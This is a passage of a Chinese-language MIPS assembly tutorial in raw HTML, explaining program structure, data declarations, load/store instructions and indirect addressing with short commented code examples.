PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">1. 本质其实就是数据声明 + 普通文本 + 程序编码（文件扩展名为 .s或者 .asm都可以）</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="color:#000000;font-family:Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, Open Sans, Helvetica Neue, sans-serif;"><span style="font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">2. 数据声明在代码段之后（其实在之前也没啥问题，也更符合高级程序的设计习惯）</span></span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"><br/></span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><strong><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">数据声明：</span></strong></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">1. 数据段以.data为开始标志</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">2. 声明变量后，即在主存中分配空间</span></p><p style="white-space: normal;max-width: 100%;min-height: 1em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><strong><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">代码：</span></strong></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">1. 代码段以 .text为开始的标志</span><br/></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">2. 其实就是各项指令操作</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">3. 程序入口为main:标志（这个都一样）</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">4. 程序结束标志</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"><strong style="white-space: normal;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">注释：</span></strong></span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">1. 是注释符</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">2. MIPS程序的基本模版如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__meta"># Comment giving name of program and description of function</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta"># 说明下程序的目的和作用（其实和高级语言都差不多了）</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta"># Template.s</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta"># Bare-bones outline of MIPS assembly language program</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    .data       <span class="code-snippet__meta"># variable declarations follow this <span class="code-snippet__meta-keyword">line</span></span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__meta"># 数据变量声明</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__meta"># ...</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    .text       <span class="code-snippet__meta"># instructions follow this <span class="code-snippet__meta-keyword">line</span>  </span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__meta"># 代码段部分  </span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">main:      <span class="code-snippet__meta"># indicates start of code (first instruction to execute)</span></span></code><code><span class="code-snippet_outer">           <span class="code-snippet__meta"># 主程序</span></span></code><code><span class="code-snippet_outer">           <span class="code-snippet__meta"># ...</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta"># End of program, leave a blank <span class="code-snippet__meta-keyword">line</span> afterwards to make SPIM happy</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta"># 必须多给你一行，你才欢？</span></span></code></pre></section><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"></span><br/></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;text-align: center;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(63, 63, 63);font-size: 22.4px;">4</span><span style="font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(63, 63, 63);font-size: 22.4px;"> 数据声明</span></span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"><br/></span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">声明的格式：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">name</span>:    storage_type     value(s)</span></code></pre></section><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">通常给变量赋一个初始值；</span><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">对于.space,需要指明需要多少大小空间（bytes)</span><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"></span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">注</span><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">意：</span><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">name后面始终要跟着冒号</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">example</span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">var1:        .word       3  </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># create a single integer variable with initial value 3</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># 声明一个 word 类型的变量 var1, 同时给其赋值为 3</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">array1:     .byte       &#39;a&#39;,&#39;b&#39;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># create a 2-element character array with elements initialized</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># to  a  and  b</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># 声明一个存储2个字符的数组 array1，并赋值 &#39;a&#39;, &#39;b&#39;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">array2:     .space      40  </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># allocate 40 consecutive bytes, with storage uninitialized</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># could be used as a 40-element character array, or a</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># 10-element integer array; a comment should indicate which!  </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># 为变量 array2 分配 40字节（bytes)未使用的连续空间，当然，对于这个变量</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># 到底要存放什么类型的值， 最好事先声明注释下！</span></span></code></pre></section><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"></span><br/></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;text-align: center;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(63, 63, 63);font-size: 22.4px;">5 加载保存【读取写入】</span></span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"><br/></span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">1. 如果要访问内存，不好意思，你只能用 load 或者 store 指令</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="color:#000000;font-family:Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, Open Sans, Helvetica Neue, sans-serif;"><span style="font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">2. 其他的只能都一律是寄存器操作</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">load</span>:<span class="code-snippet__string"></span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">lw</span>  <span class="code-snippet__string">register_destination, RAM_source</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">        # copy word (4 bytes) at source RAM location to destination register.</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">        # 从内存中 复制 RAM_source 的内容到 对应的寄存器中（lw中的&#39;w&#39;意为&#39;word&#39;,即该数据大小为4个字节）</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">lb</span>  <span class="code-snippet__string">register_destination, RAM_source</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">        # copy byte at source RAM location to low-order byte of destination register,and sign-extend to higher-order bytes</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">        # 同上， lb 意为 load byte</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">store</span> <span class="code-snippet__string">word:</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">sw</span>  <span class="code-snippet__string">register_source, RAM_destination</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">        # store word in source register into RAM destination</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">        # 将指定寄存器中的数据 写入到指定的内存中</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">sb</span>  <span class="code-snippet__string">register_source, RAM_destination</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">        # store byte (low-order) in source register into RAM destination</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">load</span> <span class="code-snippet__string">immediate:</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">li</span>  <span class="code-snippet__string">register_destination, value</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">        # load immediate value into destination register</span></span></code></pre></section><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">举例<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">  .data</span></code><code><span class="code-snippet_outer">        var1:  .word  23    <span class="code-snippet__comment"># declare storage for var1; initial value is 23</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  .text</span></code><code><span class="code-snippet_outer">    __start:</span></code><code><span class="code-snippet_outer">         lw  <span class="code-snippet__variable">$t0</span>, var1    <span class="code-snippet__comment"># load contents of RAM location into register $t0:  $t0 = var1</span></span></code><code><span class="code-snippet_outer">         li  <span class="code-snippet__variable">$t1</span>, 5       <span class="code-snippet__comment">#  $t1 = 5   (&#34;load immediate&#34;)</span></span></code><code><span class="code-snippet_outer">         sw  <span class="code-snippet__variable">$t1</span>, var1    <span class="code-snippet__comment"># store contents of register $t1 into RAM:  var1 = $t1</span></span></code><code><span class="code-snippet_outer">         <span class="code-snippet__keyword">done</span></span></code></pre></section><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.3317435082140964" data-s="300,640" style="" data-type="png" data-w="1887" src="https://wechat2rss.xlab.app/img-proxy/?k=43e7abc3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZqYID3rs2me40MKrFUb7pFYtRd3XPW4EvUa7EpVSQibClpTjt0iatd99sUia2qdXrAm1KYAVIyjZ2aA%2F640%3Fwx_fmt%3Dpng"/></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"><br/></span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;text-align: center;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">6 立即与间接寻址</span></span><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);text-align: justify;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">load <span class="code-snippet__symbol">address:</span></span></code><code><span class="code-snippet_outer">    la  $t0, var1</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># 将var1的RAM地址复制到寄存器$t0中</span></span></code><code><span class="code-snippet_outer">indirect <span class="code-snippet__symbol">addressing:</span></span></code><code><span class="code-snippet_outer">    lw  $t2, ($t0)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">#将$t0中包含的RAM地址的值加载到$t2中</span></span></code><code><span class="code-snippet_outer">    sw  $t2, ($t0)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># 将寄存器$ t2中的值存储到$ t0中包含的地址的RAM中</span></span></code><code><span class="code-snippet_outer">based <span class="code-snippet__keyword">or</span> indexed <span class="code-snippet__symbol">addressing:</span></span></code><code><span class="code-snippet_outer">    lw  $t2, <span class="code-snippet__number">4</span>($t0)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># 将RAM地址($t0+4)的值存到$t2寄存器</span></span></code><code><span class="code-snippet_outer">    sw  $t2, -<span class="code-snippet__number">12</span>($t0)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># 将$t2寄存器的值存到地址($t0-12)中</span></span></code></pre></section><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">不必多说，要用到偏移量的寻址，基本上使用最多的场景无非两种：数组，栈。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">    .data</span></code><code><span class="code-snippet_outer">        array1:    .space  12</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">#  declare 12 bytes of storage to hold array of 3 integers</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">#  定义一个 12字节 长度的数组 array1, 容纳 3个整型</span></span></code><code><span class="code-snippet_outer">    .text</span></code><code><span class="code-snippet_outer">        __start:  </span></code><code><span class="code-snippet_outer">          la  <span class="code-snippet__variable">$t0</span>, array1    </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__comment">#  load base address of array into register $t0</span></span></code><code><span class="code-snippet_outer">          <span class="code-snippet__comment">#  让 $t0 = 数组首地址</span></span></code><code><span class="code-snippet_outer">          li  <span class="code-snippet__variable">$t1</span>, 5    </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__comment">#  $t1 = 5   (&#34;load immediate&#34;)</span></span></code><code><span class="code-snippet_outer">          sw <span class="code-snippet__variable">$t1</span>, (<span class="code-snippet__variable">$t0</span>)    </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__comment">#  first array element set to 5; indirect addressing</span></span></code><code><span class="code-snippet_outer">          <span class="code-snippet__comment"># 对于 数组第一个元素赋值 array[0] = $1 = 5</span></span></code><code><span class="code-snippet_outer">          li <span class="code-snippet__variable">$t1</span>, 13    </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__comment">#   $t1 = 13</span></span></code><code><span class="code-snippet_outer">          sw <span class="code-snippet__variable">$t1</span>, 4(<span class="code-snippet__variable">$t0</span>)    </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__comment">#  second array element set to 13</span></span></code><code><span class="code-snippet_outer">          <span class="code-snippet__comment"># 对于 数组第二个元素赋值 array[1] = $1 = 13 </span></span></code><code><span class="code-snippet_outer">          <span class="code-snippet__comment"># 